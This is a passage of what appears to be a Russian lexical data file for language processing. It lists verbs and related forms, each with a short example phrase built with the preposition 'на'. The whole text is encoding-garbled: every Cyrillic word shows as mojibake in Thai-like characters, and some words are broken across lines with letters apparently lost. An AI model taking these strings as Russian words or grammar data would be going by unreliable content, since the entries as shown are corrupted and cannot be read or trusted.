rus_verbs:ะพัััะธัั{}, // ะพัััะธัั ะฝะฐ ัะตะฑะต ะฒะปะธัะฝะธะต ะบัะธะทะธัะฐ
rus_verbs:ัะพััะพััั{}, // ัะพััะพััั ะฝะฐ ััะตัะต
rus_verbs:ะณะพัะพะฒะธัััั{},
ะธะฝัะธะฝะธัะธะฒ:ะฐะบะบะปะธะผะฐัะธะทะธัะพะฒะฐัััั{ะฒะธะด:ะฝะตัะพะฒะตัั}, // ะฐะปัะฟะธะฝะธััั ะณะพัะพะฒัััั ะฐะบะบะปะธะผะฐัะธะทะธัะพะฒะฐัััั ะฝะฐ ะฝะพะฒะพะน ะฒััะพัะต
ะณะปะฐะณะพะป:ะฐะบะบะปะธะผะฐัะธะทะธัะพะฒะฐัััั{ะฒะธะด:ะฝะตัะพะฒะตัั},
rus_verbs:ะฐัะตััะพะฒะฐัั{}, // ะณัะฐะฑะธัะตะปะธ ะฑัะปะธ ะฐัะตััะพะฒะฐะฝั ะฝะฐ ะผะตััะต ะฟัะตัััะฟะปะตะฝะธั
rus_verbs:ัั
ะฒะฐัะธัั{}, // ะณัะฐะฑะธัะตะปะธ ะฑัะปะธ ัั
ะฒะฐัะตะฝั ะฝะฐ ะผะตััะต ะฟัะตัััะฟะปะตะฝะธั
ะธะฝัะธะฝะธัะธะฒ:ะฐัะฐะบะพะฒะฐัั{ ะฒะธะด:ัะพะฒะตัั }, // ะฒะทะฒะพะด ะฑัะป ะฐัะฐะบะพะฒะฐะฝ ะฝะฐ ะณัะฐะฝะธัะต
ะณะปะฐะณะพะป:ะฐัะฐะบะพะฒะฐัั{ ะฒะธะด:ัะพะฒะตัั },
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฐัะฐะบะพะฒะฐะฝะฝัะน{ ะฒะธะด:ัะพะฒะตัั },
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฐัะฐะบะพะฒะฐะฒัะธะน{ ะฒะธะด:ัะพะฒะตัั },
rus_verbs:ะฑะฐะทะธัะพะฒะฐัั{}, // ัััะฐะฝะพะฒะบะฐ ะฑัะดะตั ะฑะฐะทะธัะพะฒะฐะฝะฐ ะฝะฐ ะณัะฐะฝะธัะต
rus_verbs:ะฑะฐะทะธัะพะฒะฐัััั{}, // ัััะฐะฝะพะฒะบะฐ ะฑะฐะทะธััะตััั ะฝะฐ ะณัะฐะฝะธัะต
rus_verbs:ะฑะฐัะฐั
ัะฐัััั{}, // ะดะตัะธ ะฑะฐัะฐั
ัะฐะปะธัั ะฝะฐ ะผะตะปะบะพะฒะพะดัะต
rus_verbs:ะฑัะฐะบะพะฝัะตัะธัั{}, // ะั
ะพัะฝะธะบะธ ะฑัะฐะบะพะฝัะตัะธะปะธ ะฝะพััั ะฝะฐ ัะตะบะต
rus_verbs:ะฑัะฐะบะพะฝัะตัััะฒะพะฒะฐัั{}, // ะั
ะพัะฝะธะบะธ ะฝะพััั ะฑัะฐะบะพะฝัะตัััะฒะพะฒะฐะปะธ ะฝะฐ ัะตะบะต
rus_verbs:ะฑัะตะฝัะฐัั{}, // ะฟะฐัะตะฝั ััะพ-ัะพ ะฑัะตะฝัะฐะป ะฝะฐ ะณะธัะฐัะต
rus_verbs:ะฑัะตะฝัะบะฐัั{}, // ะฟะฐัะตะฝั ััะพ-ัะพ ะฑัะตะฝัะบะฐะตั ะฝะฐ ะณะธัะฐัะต
rus_verbs:ะฝะฐัะฐัั{}, // ะ ัะฝะพะบ ะฐะบัะธะน ะ ะค ะฝะฐัะฐะป ัะพัะณะธ ะฝะฐ ะพััะธัะฐัะตะปัะฝะพะน ัะตััะธัะพัะธะธ.
rus_verbs:ะฑัะบัะพะฒะฐัั{}, // ะะพะปะตัะฐ ะฑัะบัััั ะฝะฐ ะปัะดั
rus_verbs:ะฒะตััะตัััั{}, // ะะตะฟะพัะตะดะปะธะฒัะน ััะตะฝะธะบ ะผะฝะพะณะพ ะฒะตััะธััั ะฝะฐ ัััะปะต
rus_verbs:ะฒะทะฒะตััะธ{}, // ะะพะตั ะฒะทะฒะตะป ะฝะฐ ะพััะถะธะธ ะฟัะตะดะพั
ัะฐะฝะธัะตะปั
rus_verbs:ะฒะธะปััั{}, // ะะฐัะธะฝะฐ ัะธะปัะฝะพ ะฒะธะปัะปะฐ ะฝะฐ ะดะพัะพะณะต
rus_verbs:ะฒะธัะตัั{}, // ะฏะฑะปะพะบะพ ะฒะธัะธั ะฝะฐ ะฒะตัะบะต
rus_verbs:ะฒะพะทะปะตะถะฐัั{}, // ะฒะพะทะปะตะถะฐัั ะฝะฐ ะปะตะถะฐะฝะบะต
rus_verbs:ะฟะพะดะฝะธะผะฐัััั{}, // ะั ะฟะพะดะฝะธะผะฐะตะผัั ะฝะฐ ะปะธััะต
rus_verbs:ะฟะพะดะฝััััั{}, // ะั ะฟะพะดะฝะธะผะตะผัั ะฝะฐ ะปะธััะต
rus_verbs:ะฒะพััะตะดะฐัั{}, // ะะพะปั ะฒะพััะตะดะฐะตั ะฝะฐ ะปะพัะฐะดะธ
rus_verbs:ะฒะพััะธััั{}, // ะัะฝะฐ ะฒะพััะธัะปะฐ ะฝะฐ ะฝะตะฑะต
rus_verbs:ะฒะพัะฐัะธัััั{}, // ะะธั ะฒะพัะฐัะธะปัั ะฝะฐ ะฒัะตะน ะทะตะผะปะต
rus_verbs:ะฒะพัะฐัััััั{}, // ะะธั ะฒะพัะฐััะตััั ะฝะฐ ะฒัะตะน ะทะตะผะปะต
rus_verbs:ะฒัะฐัะฐัั{}, // ะฒัะฐัะฐัั ะฝะฐ ะฟะพััะต
rus_verbs:ะฒัะฐัะฐัััั{}, // ะฒัะฐัะฐัััั ะฝะฐ ะฟะพััะต
rus_verbs:ะฒัััะตัะธัั{}, // ะฒัััะตัะธัั ะดััะณะฐ ะฝะฐ ัะปะธัะต
rus_verbs:ะฒัััะตัะธัััั{}, // ะฒัััะตัะธัััั ะฝะฐ ะทะฐะฝััะธัั
rus_verbs:ะฒัััะตัะฐัั{}, // ะฒัััะตัะฐัั ะฝะฐ ะทะฐะฝััะธัั
rus_verbs:ะฒัะตะฑัะฒะฐัั{}, // ะฒัะตะฑัะฒะฐัั ะฝะฐ ัะฐะฑะพัะต
rus_verbs:ะฒัะตะทะถะฐัั{}, // ะฒัะตะทะถะฐัั ะฝะฐ ะฐะฒัะพะผะพะฑะธะปะต
rus_verbs:ะฒัะตั
ะฐัั{}, // ะฒัะตั
ะฐัั ะฝะฐ ะฐะฒัะพะผะพะฑะธะปะต
rus_verbs:ะฒัะณะพัะฐัั{}, // ัะบะฐะฝั ะฒัะณะพัะฐะตั ะฝะฐ ัะพะปะฝัะต
rus_verbs:ะฒัะณะพัะตัั{}, // ัะบะฐะฝั ะฒัะณะพัะตะปะฐ ะฝะฐ ัะพะปะฝัะต
rus_verbs:ะฒัะณัะฐะฒะธัะพะฒะฐัั{}, // ะฒัะณัะฐะฒะธัะพะฒะฐัั ะฝะฐ ัะฐะฑะปะธัะบะต ะฝะฐะดะฟะธัั
rus_verbs:ะฒัะถะธัั{}, // ะฒัะถะธัั ะฝะฐ ะฝะตะพะฑะธัะฐะตะผะพะผ ะพัััะพะฒะต
rus_verbs:ะฒัะปะตะถะฐัััั{}, // ะฟะพะผะธะดะพัั ะฒัะปะตะถะฐะปะธัั ะฝะฐ ัะพะปะฝัะต
rus_verbs:ะฒัะปะตะถะธะฒะฐัััั{}, // ะฒัะปะตะถะธะฒะฐัััั ะฝะฐ ัะพะปะฝัะต
rus_verbs:ะฒัะผะตััะธัั{}, // ะฒัะผะตััะธัั ะฝะฐ ะบะพะผ-ัะพ ะทะปะพะฑั
rus_verbs:ะฒัะผะตัะฐัั{}, // ะฒัะผะตัะฐัั ะฝะฐ ะบะพะผ-ัะพ ัะฒะพะต ัะฐะทะดัะฐะถะตะฝะธะต
rus_verbs:ะฒัะผะตัะฐัััั{}, // ะฒัะผะตัะฐัััั ะฝะฐ ะบะพะผ-ัะพ
rus_verbs:ะฒััะฐัะธะฒะฐัั{}, // ะฒััะฐัะธะฒะฐัั ะฝะฐ ะณััะดะบะต ะฟะพะผะธะดะพัั
rus_verbs:ะฒััะฐัะธะฒะฐัััั{}, // ะฒััะฐัะธะฒะฐัััั ะฝะฐ ะณััะดะบะต
ะธะฝัะธะฝะธัะธะฒ:ะฒััะตะทะฐัั{ะฒะธะด:ัะพะฒะตัั}, // ะฒััะตะทะฐัั ะฝะฐ ะดะพัะบะต ะฝะฐะดะฟะธัั
ะณะปะฐะณะพะป:ะฒััะตะทะฐัั{ะฒะธะด:ัะพะฒะตัั},
ะธะฝัะธะฝะธัะธะฒ:ะฒััะตะทะฐัั{ะฒะธะด:ะฝะตัะพะฒะตัั},
ะณะปะฐะณะพะป:ะฒััะตะทะฐัั{ะฒะธะด:ะฝะตัะพะฒะตัั},
rus_verbs:ะฒััะธัะพะฒะฐัััั{}, // ะฒััะธัะพะฒะฐัััั ะฝะฐ ะณัะฐัะธะบะต
rus_verbs:ะฒััะธัะพะฒัะฒะฐัััั{}, // ะฒััะธัะพะฒัะฒะฐัััั ะฝะฐ ะณัะฐัะธะบะต
rus_verbs:ะฒััะฐะถะธะฒะฐัั{}, // ะฒััะฐะถะธะฒะฐัั ะฝะฐ ะฝะตะพะฑะธัะฐะตะผะพะผ ะพัััะพะฒะต
rus_verbs:ะฒััะฐะถะธะฒะฐัััั{}, // ะฒััะฐะถะธะฒะฐัััั ะฝะฐ ะพัััะพะฒะต
rus_verbs:ะฒััะฒะตัะธะฒะฐัั{}, // ะฒััะฒะตัะธะฒะฐัั ะฝะฐ ะดะธัะฟะปะตะต ัะตะผะฟะตัะฐัััั
rus_verbs:ะฒััะฒะตัะธะฒะฐัััั{}, // ะฒััะฒะตัะธะฒะฐัััั ะฝะฐ ะดะธัะฟะปะตะต
rus_verbs:ะฒััััะพะธัั{}, // ะฒััััะพะธัั ะฝะฐ ััะฝะดะฐะผะตะฝัะต
rus_verbs:ะฒััััะพะธัััั{}, // ะฒััััะพะธัััั ะฝะฐ ะฟะปะฐัั
rus_verbs:ะฒััััะดะธัั{}, // ะฒััััะดะธัั ะฝะฐ ะผะพัะพะทะต
rus_verbs:ะฒััััะดะธัััั{}, // ะฒััััะดะธัััั ะฝะฐ ะผะพัะพะทะต
rus_verbs:ะฒััััะถะฐัั{}, // ะฒััััะถะฐัั ะฝะฐ ะผะพัะพะทะต
rus_verbs:ะฒััััะถะธะฒะฐัั{}, // ะฒััััะถะธะฒะฐัั ะฝะฐ ะผะพัะพะทะต
rus_verbs:ะฒััััะถะธะฒะฐัััั{}, // ะฒััััะถะธะฒะฐัััั ะฝะฐ ะผะพัะพะทะต
rus_verbs:ะฒััััะบะฐัั{}, // ะฒััััะบะฐัั ะฝะฐ ะบะปะฐะฒะธะฐัััะต
rus_verbs:ะฒััััะบะธะฒะฐัั{}, // ะฒััััะบะธะฒะฐัั ะฝะฐ ะบะปะฐะฒะธะฐัััะต
rus_verbs:ะฒััััะบะธะฒะฐัััั{}, // ะฒััััะบะธะฒะฐัััั ะฝะฐ ะบะปะฐะฒะธะฐัััะต
rus_verbs:ะฒััััะฟะฐัั{}, // ะฒััััะฟะฐัั ะฝะฐ ััะตะฝะต
rus_verbs:ะฒััััะฟะธัั{}, // ะฒััััะฟะธัั ะฝะฐ ััะตะฝะต
rus_verbs:ะฒัััััะฐัั{}, // ะฒัััััะฐัั ะฝะฐ ะบะปะฐะฒะธะฐัััะต
rus_verbs:ะฒััััะฒะฐัั{}, // ะฒััััะฒะฐัั ะฝะฐ ะผะพัะพะทะต
rus_verbs:ะฒัััััั{}, // ะฒัััััั ะฝะฐ ะผะพัะพะทะต
rus_verbs:ะฒััะฐััะธัะพะฒะฐัั{}, // ะฒััะฐััะธัะพะฒะฐัั ะฝะฐ ััะบะต ัะบะพัั
rus_verbs:ะณะพะฒะพัะธัั{}, // ะณะพะฒะพัะธัั ะฝะฐ ะฟะพะฒััะตะฝะฝัั
ัะพะฝะฐั
rus_verbs:ะทะฐะผะตัะธัั{}, // ะทะฐะผะตัะธัั ะฝะฐ ะฑะตัะตะณั
rus_verbs:ััะพััั{}, // ัะฒััะดะพ ััะพััั ะฝะฐ ะฝะพะณะฐั
rus_verbs:ะพะบะฐะทะฐัััั{}, // ะพะบะฐะทะฐัััั ะฝะฐ ะฟะตัะตะดะพะฒะพะน ะปะธะฝะธะธ
rus_verbs:ะฟะพััะฒััะฒะพะฒะฐัั{}, // ะฟะพััะฒััะฒะพะฒะฐัั ะฝะฐ ัะฒะพะตะน ัะบััะต
rus_verbs:ะพััะฐะฝะพะฒะธัััั{}, // ะพััะฐะฝะพะฒะธัััั ะฝะฐ ะฟะตัะฒะพะผ ะฟัะฝะบัะต
rus_verbs:ะฟะพะบะฐะทะฐัััั{}, // ะฟะพะบะฐะทะฐัััั ะฝะฐ ะณะพัะธะทะพะฝัะต
rus_verbs:ััะฒััะฒะพะฒะฐัั{}, // ััะฒััะฒะพะฒะฐัั ะฝะฐ ัะฒะพะตะน ัะบััะต
rus_verbs:ะธัะบะฐัั{}, // ะธัะบะฐัั ะฝะฐ ะพัะบัััะพะผ ะฟัะพัััะฐะฝััะฒะต
rus_verbs:ะธะผะตัััั{}, // ะธะผะตัััั ะฝะฐ ัะบะปะฐะดะต
rus_verbs:ะบะปัััััั{}, // ะบะปัััััั ะฝะฐ ะะพัะฐะฝะต
rus_verbs:ะฟัะตัะฒะฐัั{}, // ะฟัะตัะฒะฐัั ะฝะฐ ะฟะพะปััะปะพะฒะต
rus_verbs:ะธะณัะฐัั{}, // ะธะณัะฐัั ะฝะฐ ััะฒััะฒะฐั
rus_verbs:ัะฟัััะธัััั{}, // ัะฟัััะธัััั ะฝะฐ ะฟะฐัะฐัััะต
rus_verbs:ะฟะพะฝะฐะดะพะฑะธัััั{}, // ะฟะพะฝะฐะดะพะฑะธัััั ะฝะฐ ัะบะทะฐะผะตะฝะต
rus_verbs:ัะปัะถะธัั{}, // ัะปัะถะธัั ะฝะฐ ัะปะพัะต
rus_verbs:ะฟะพะดะพะฑัะฐัั{}, // ะฟะพะดะพะฑัะฐัั ะฝะฐ ัะปะธัะต
rus_verbs:ะฟะพัะฒะปััััั{}, // ะฟะพัะฒะปััััั ะฝะฐ ััะตะฝะต
rus_verbs:ัะตะปะธัั{}, // ัะตะปะธัั ะฝะฐ ัะตัะดะฐะบะต
rus_verbs:ะฟะพะนะผะฐัั{}, // ะฟะพะนะผะฐัั ะฝะฐ ะณัะฐะฝะธัะต
rus_verbs:ัะฒะธะดะฐัั{}, // ัะฒะธะดะฐัั ะฝะฐ ะพะฟััะบะต
rus_verbs:ะฟะพะดะพะถะดะฐัั{}, // ะฟะพะดะพะถะดะฐัั ะฝะฐ ะฟะตััะพะฝะต
rus_verbs:ะฟัะพัะตััั{}, // ะฟัะพัะตััั ะฝะฐ ะฟะพะปัั
rus_verbs:ัะพะฝััั{}, // ัะพะฝััั ะฝะฐ ะผะตะปะบะพะฒะพะดัะต
rus_verbs:ะพัััะฐัั{}, // ะพัััะฐัั ะฝะฐ ะบะพะถะต
rus_verbs:ะพัะผะตัะธัั{}, // ะพัะผะตัะธัั ะฝะฐ ะฟะพะปัั
rus_verbs:ะฟะพะบะฐะทัะฒะฐัั{}, // ะฟะพะบะฐะทัะฒะฐัั ะฝะฐ ะณัะฐัะธะบะต
rus_verbs:ัะฐะทะณะพะฒะฐัะธะฒะฐัั{}, // ัะฐะทะณะพะฒะฐัะธะฒะฐัั ะฝะฐ ะธะฝะพัััะฐะฝะฝะพะผ ัะทัะบะต
rus_verbs:ะฟัะพัะธัะฐัั{}, // ะฟัะพัะธัะฐัั ะฝะฐ ัะฐะนัะต
rus_verbs:ะฟะพะฟัะพะฑะพะฒะฐัั{}, // ะฟะพะฟัะพะฑะพะฒะฐัั ะฝะฐ ะฟัะฐะบัะธะบะต
rus_verbs:ะทะฐะผะตัะฐัั{}, // ะทะฐะผะตัะฐัั ะฝะฐ ะบะพะถะต ะณััะทั
rus_verbs:ะฝะตััะธ{}, // ะฝะตััะธ ะฝะฐ ะฟะปะตัะฐั
rus_verbs:ะฝะพัะธัั{}, // ะฝะพัะธัั ะฝะฐ ะณะพะปะพะฒะต
rus_verbs:ะณะพัะตัั{}, // ะณะพัะตัั ะฝะฐ ัะฐะฑะพัะต
rus_verbs:ะทะฐััััั{}, // ะทะฐััััั ะฝะฐ ะฟะพัะพะณะต
ะธะฝัะธะฝะธัะธะฒ:ะถะตะฝะธัััั{ ะฒะธะด:ัะพะฒะตัั }, // ะถะตะฝะธัััั ะฝะฐ ะบะพัะพะปะตะฒะต
ะณะปะฐะณะพะป:ะถะตะฝะธัััั{ ะฒะธะด:ัะพะฒะตัั },
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะถะตะฝะฐััะน{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะถะตะฝะธะฒัะธะนัั{},
rus_verbs:ัะฟัััะฐัั{}, // ัะฟัััะฐัั ะฝะฐ ัะตัะดะฐะบะต
rus_verbs:ัะฐะทะฒะตัะฝััััั{}, // ัะฐะทะฒะตัะฝััััั ะฝะฐ ะฟะปะฐัั
rus_verbs:ัััะพะธัั{}, // ัััะพะธัั ะฝะฐ ะฟะตัะบะต
rus_verbs:ััััะพะธัั{}, // ััััะพะธัั ะฝะฐ ะดะฐัะต ัะตัััะฐะปัะฝัะน ะฒะตัะตั
rus_verbs:ะฝะฐััะฐะธะฒะฐัั{}, // ะฝะฐััะฐะธะฒะฐัั ะฝะฐ ะฒัะฟะพะปะฝะตะฝะธะธ ะฟัะธะบะฐะทะฐ
rus_verbs:ะฝะฐั
ะพะดะธัั{}, // ะฝะฐั
ะพะดะธัั ะฝะฐ ะฑะตัะตะณั
rus_verbs:ะผะตะปัะบะฝััั{}, // ะผะตะปัะบะฝััั ะฝะฐ ัะบัะฐะฝะต
rus_verbs:ะพัััะธัััั{}, // ะพัััะธัััั ะฝะฐ ะพะฟััะบะต ะปะตัะฐ
ะธะฝัะธะฝะธัะธะฒ:ะธัะฟะพะปัะทะพะฒะฐัั{ะฒะธะด:ัะพะฒะตัั}, // ะธัะฟะพะปัะทะพะฒะฐัั ะฝะฐ ัะฐะฑะพัะต
ะณะปะฐะณะพะป:ะธัะฟะพะปัะทะพะฒะฐัั{ะฒะธะด:ัะพะฒะตัั},
ะธะฝัะธะฝะธัะธะฒ:ะธัะฟะพะปัะทะพะฒะฐัั{ะฒะธะด:ะฝะตัะพะฒะตัั},
ะณะปะฐะณะพะป:ะธัะฟะพะปัะทะพะฒะฐัั{ะฒะธะด:ะฝะตัะพะฒะตัั},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะธัะฟะพะปัะทะพะฒะฐะฝะฝัะน{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะธัะฟะพะปัะทัััะธะน{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะธัะฟะพะปัะทะพะฒะฐะฒัะธะน{},
rus_verbs:ะปะตัะตัั{}, // ะปะตัะตัั ะฝะฐ ะฒะพะทะดััะฝะพะผ ัะฐัะต
rus_verbs:ัะผะตััััั{}, // ัะผะตััััั ะฝะฐ ััะตะฝะต
rus_verbs:ะตะทะดะธัั{}, // ะตะทะดะธัั ะฝะฐ ะผะพะฟะตะดะต
rus_verbs:ะทะฐัะฝััั{}, // ะทะฐัะฝััั ะฝะฐ ะดะธะฒะฐะฝะต
rus_verbs:ะทะฐััะฐัั{}, // ะทะฐััะฐัั ะฝะฐ ัะฐะฑะพัะตะผ ะผะตััะต
rus_verbs:ะพัะฝััััั{}, // ะพัะฝััััั ะฝะฐ ะฑะพะปัะฝะธัะฝะพะน ะบะพะนะบะต
rus_verbs:ัะฐะทะณะปัะดะตัั{}, // ัะฐะทะณะปัะดะตัั ะฝะฐ ัะพัะพะณัะฐัะธะธ
rus_verbs:ะพะฑะพะนัะธ{}, // ะพะฑะพะนัะธ ะฝะฐ ะฒะธัะฐะถะต
rus_verbs:ัะดะตัะถะฐัััั{}, // ัะดะตัะถะฐัััั ะฝะฐ ััะพะฝะต
rus_verbs:ะฟะพะฑัะฒะฐัั{}, // ะฟะพะฑัะฒะฐัั ะฝะฐ ะดััะณะพะน ะฟะปะฐะฝะตัะต
rus_verbs:ะทะฐะฝััััั{}, // ะทะฐะฝััััั ะฝะฐ ะฒัั
ะพะดะฝัั
ะดะตะปะพะผ
rus_verbs:ะฒัะฝััั{}, // ะฒัะฝััั ะฝะฐ ัะพะปะฝัะต
rus_verbs:ะฟะพััะพััั{}, // ะฟะพััะพััั ะฝะฐ ะณะพะปะพะฒะต
rus_verbs:ะฟัะธะพะฑัะตััะธ{}, // ะฟัะธะพะฑัะตััะธ ะฝะฐ ัะฐัะฟัะพะดะฐะถะต
rus_verbs:ะฟะพะฟะฐััััั{}, // ะฟะพะฟะฐััััั ะฝะฐ ะบัะฐะถะต
rus_verbs:ะฟัะพะดะพะปะถะฐัััั{}, // ะฟัะพะดะพะปะถะฐัััั ะฝะฐ ะทะตะผะปะต
rus_verbs:ะพัะบััะฒะฐัั{}, // ะพัะบััะฒะฐัั ะฝะฐ ะฐัะตะฝะต
rus_verbs:ัะพะทะดะฐะฒะฐัั{}, // ัะพะทะดะฐะฒะฐัั ะฝะฐ ััะตะฝะต
rus_verbs:ะพะฑััะถะดะฐัั{}, // ะพะฑััะถะดะฐัั ะฝะฐ ะบัั
ะฝะต
rus_verbs:ะพัััะบะฐัั{}, // ะพัััะบะฐัั ะฝะฐ ะฟะพะปั
rus_verbs:ััะฝััั{}, // ััะฝััั ะฝะฐ ะดะธะฒะฐะฝะต
rus_verbs:ะทะฐะดะตัะถะฐัััั{}, // ะทะฐะดะตัะถะฐัััั ะฝะฐ ัะฐะฑะพัะต
rus_verbs:ะบััะธัั{}, // ะบััะธัั ะฝะฐ ัะฒะตะถะตะผ ะฒะพะทะดัั
ะต
rus_verbs:ะฟัะธะฟะพะดะฝััััั{}, // ะฟัะธะฟะพะดะฝััััั ะฝะฐ ะปะพะบััั
rus_verbs:ัััะฐะฝะพะฒะธัั{}, // ัััะฐะฝะพะฒะธัั ะฝะฐ ะฒะตััะธะฝะต
rus_verbs:ะทะฐะฟะตัะตัั{}, // ะทะฐะฟะตัะตัั ะฝะฐ ะฑะฐะปะบะพะฝะต
rus_verbs:ัะธะฝะตัั{}, // ัะธะฝะตัั ะฝะฐ ะฒะพะทะดัั
ะต
rus_verbs:ัะฑะธะฒะฐัั{}, // ัะฑะธะฒะฐัั ะฝะฐ ะฝะตะนััะฐะปัะฝะพะน ัะตััะธัะพัะธะธ
rus_verbs:ัะบััะฒะฐัััั{}, // ัะบััะฒะฐัััั ะฝะฐ ะดะฐัะต
rus_verbs:ัะพะดะธัั{}, // ัะพะดะธัั ะฝะฐ ะฟะพะปั
rus_verbs:ะพะฟะธัะฐัั{}, // ะพะฟะธัะฐัั ะฝะฐ ัััะฐะฝะธัะฐั
ะบะฝะธะณะธ
rus_verbs:ะฟะตัะตั
ะฒะฐัะธัั{}, // ะฟะตัะตั
ะฒะฐัะธัั ะฝะฐ ะฟะพะดะปะตัะต
rus_verbs:ัะบััะฒะฐัั{}, // ัะบััะฒะฐัั ะฝะฐ ะดะฐัะต
rus_verbs:ัะผะตะฝะธัั{}, // ัะผะตะฝะธัั ะฝะฐ ะฟะพััั
rus_verbs:ะผะตะปัะบะฐัั{}, // ะผะตะปัะบะฐัั ะฝะฐ ัะบัะฐะฝะต
rus_verbs:ะฟัะธัััััะฒะพะฒะฐัั{}, // ะฟัะธัััััะฒะพะฒะฐัั ะฝะฐ ะผะตัะพะฟัะธััะธะธ
rus_verbs:ัะบัะฐััั{}, // ัะบัะฐััั ะฝะฐ ััะฝะบะต
rus_verbs:ะฟะพะฑะตะดะธัั{}, // ะฟะพะฑะตะดะธัั ะฝะฐ ัะธะฝะณะต
rus_verbs:ัะฟะพะผัะฝััั{}, // ัะฟะพะผัะฝััั ะฝะฐ ัััะฐะฝะธัะฐั
ัะพะผะฐะฝะฐ
rus_verbs:ะฟะปััั{}, // ะฟะปััั ะฝะฐ ััะฐัะพะน ะปะพะดะบะต
rus_verbs:ะฟะพะฒะธัะฝััั{}, // ะฟะพะฒะธัะฝััั ะฝะฐ ะฟะตัะตะบะปะฐะดะธะฝะต
rus_verbs:ะฝะฐััะฟะฐัั{}, // ะฝะฐััะฟะฐัั ะฝะฐ ะดะฝะต
rus_verbs:ะทะฐัะธั
ะฝััั{}, // ะทะฐัะธั
ะฝััั ะฝะฐ ะดะฝะต
rus_verbs:ะฟะพัััะพะธัั{}, // ะฟะพัััะพะธัั ะฝะฐ ััะฐััะบะต
rus_verbs:ะฟะพะดะดะตัะถะธะฒะฐัั{}, // ะฟะพะดะดะตัะถะธะฒะฐัั ะฝะฐ ะฟะพะฒะตัั
ะฝะพััะธ
rus_verbs:ะทะฐัะฐะฑะพัะฐัั{}, // ะทะฐัะฐะฑะพัะฐัั ะฝะฐ ะฑะธัะถะต
rus_verbs:ะฟัะพะฒะฐะปะธัััั{}, // ะฟัะพะฒะฐะปะธัััั ะฝะฐ ัะบะทะฐะผะตะฝะต
rus_verbs:ัะพั
ัะฐะฝะธัั{}, // ัะพั
ัะฐะฝะธัั ะฝะฐ ะดะธัะบะต
rus_verbs:ัะฐัะฟะพะปะฐะณะฐัััั{}, // ัะฐัะฟะพะปะฐะณะฐัััั ะฝะฐ ัะพัะต
rus_verbs:ะฟะพะบะปัััััั{}, // ะฟะพะบะปัััััั ะฝะฐ ะฑะธะฑะปะธะธ
rus_verbs:ััะฐะถะฐัััั{}, // ััะฐะถะฐัััั ะฝะฐ ะฐัะตะฝะต
rus_verbs:ัะฟััะบะฐัััั{}, // ัะฟััะบะฐัััั ะฝะฐ ะดะตะปััะฐะฟะปะฐะฝะต
rus_verbs:ัะฝะธััะพะถะธัั{}, // ัะฝะธััะพะถะธัั ะฝะฐ ะฟะพะดัััะฟะฐั
rus_verbs:ะธะทััะธัั{}, // ะธะทััะธัั ะฝะฐ ะฟัะฐะบัะธะบะต
rus_verbs:ัะพะถะดะฐัััั{}, // ัะพะถะดะฐัััั ะฝะฐ ะฟัะฐะทะดะฝะธะบะฐั
rus_verbs:ะฟัะธะปะตัะตัั{}, // ะฟัะธะปะตัะตัั ะฝะฐ ัะฐะผะพะปะตัะต
rus_verbs:ะดะพะณะฝะฐัั{}, // ะดะพะณะฝะฐัั ะฝะฐ ะฟะตัะตะบัะตััะบะต
rus_verbs:ะธะทะพะฑัะฐะทะธัั{}, // ะธะทะพะฑัะฐะทะธัั ะฝะฐ ะฑัะผะฐะณะต
rus_verbs:ะฟัะพะตั
ะฐัั{}, // ะฟัะพะตั
ะฐัั ะฝะฐ ััะฐะบัะพัะต
rus_verbs:ะฟัะธะณะพัะพะฒะธัั{}, // ะฟัะธะณะพัะพะฒะธัั ะฝะฐ ะผะฐัะปะต
rus_verbs:ัะฟะพัะบะฝััััั{}, // ัะฟะพัะบะฝััััั ะฝะฐ ะฟะพะปั
rus_verbs:ัะพะฑะธัะฐัั{}, // ัะพะฑะธัะฐัั ะฝะฐ ะฑะตัะตะณั
rus_verbs:ะพััััััะฒะพะฒะฐัั{}, // ะพััััััะฒะพะฒะฐัั ะฝะฐ ัััะพะฒะบะต
rus_verbs:ะฟัะธะทะตะผะปะธัััั{}, // ะฟัะธะทะตะผะปะธัััั ะฝะฐ ะฒะพะตะฝะฝะพะผ ะฐััะพะดัะพะผะต
rus_verbs:ััะณัะฐัั{}, // ััะณัะฐัั ะฝะฐ ัััะฑะต
rus_verbs:ะฟัััะฐัััั{}, // ะฟัััะฐัััั ะฝะฐ ะดะฐัะต
rus_verbs:ัะฟัััะฐัััั{}, // ัะฟัััะฐัััั ะฝะฐ ัะตัะดะฐะบะต
rus_verbs:ะฟัะพะฒะพะทะณะปะฐัะธัั{}, // ะฟัะพะฒะพะทะณะปะฐัะธัั ะฝะฐ ะผะธัะธะฝะณะต
rus_verbs:ะธะทะปะพะถะธัั{}, // ะธะทะปะพะถะธัั ะฝะฐ ะฑัะผะฐะณะต
rus_verbs:ะธัะฟะพะปัะทะพะฒะฐัััั{}, // ะธัะฟะพะปัะทะพะฒะฐัััั ะฝะฐ ะฟัะฐะบัะธะบะต
rus_verbs:ะทะฐะผััััั{}, // ะทะฐะผััััั ะฝะฐ ะฒั
ะพะดะต
rus_verbs:ัะฐะทะดะฐะฒะฐัััั{}, // ะัะธะบ ัะณัะฐัะฐ ัะฐะทะดะฐะตััั ะฝะฐ ะบัะฐั ะฑะพะปะพัะฐ
rus_verbs:ัะฒะตัะบะฝััั{}, // ัะฒะตัะบะฝััั ะฝะฐ ัะพะปะฝัะต
rus_verbs:ัะฒะตัะบะฐัั{}, // ัะฒะตัะบะฐัั ะฝะฐ ัะฒะตัั
rus_verbs:ะทะฐะดะตัะถะฐัั{}, // ะทะฐะดะตัะถะฐัั ะฝะฐ ะผะธัะธะฝะณะต
rus_verbs:ะพัะตัััั{}, // ะพัะตัััั ะฝะฐ ะฟะตัะฒะพะผ ัะปะพะฒะต
rus_verbs:ั
ัะฐะฝะธัั{}, // ั
ัะฐะฝะธัั ะฝะฐ ะฑะฐะฝะบะพะฒัะบะพะผ ััะตัั
rus_verbs:ัััะธัั{}, // ัััะธัั ะฝะฐ ััะพะบะต
rus_verbs:ะบััะถะธัััั{}, // ะบััะถะธัััั ะฝะฐ ะฑะฐะปั
rus_verbs:ัะตััะธัั{}, // ัะตััะธัั ะฝะฐ ะดะพัะบะต
rus_verbs:ะพััะฐะทะธัััั{}, // ะพััะฐะทะธัััั ะฝะฐ ะพัะตะฝะบะฐั
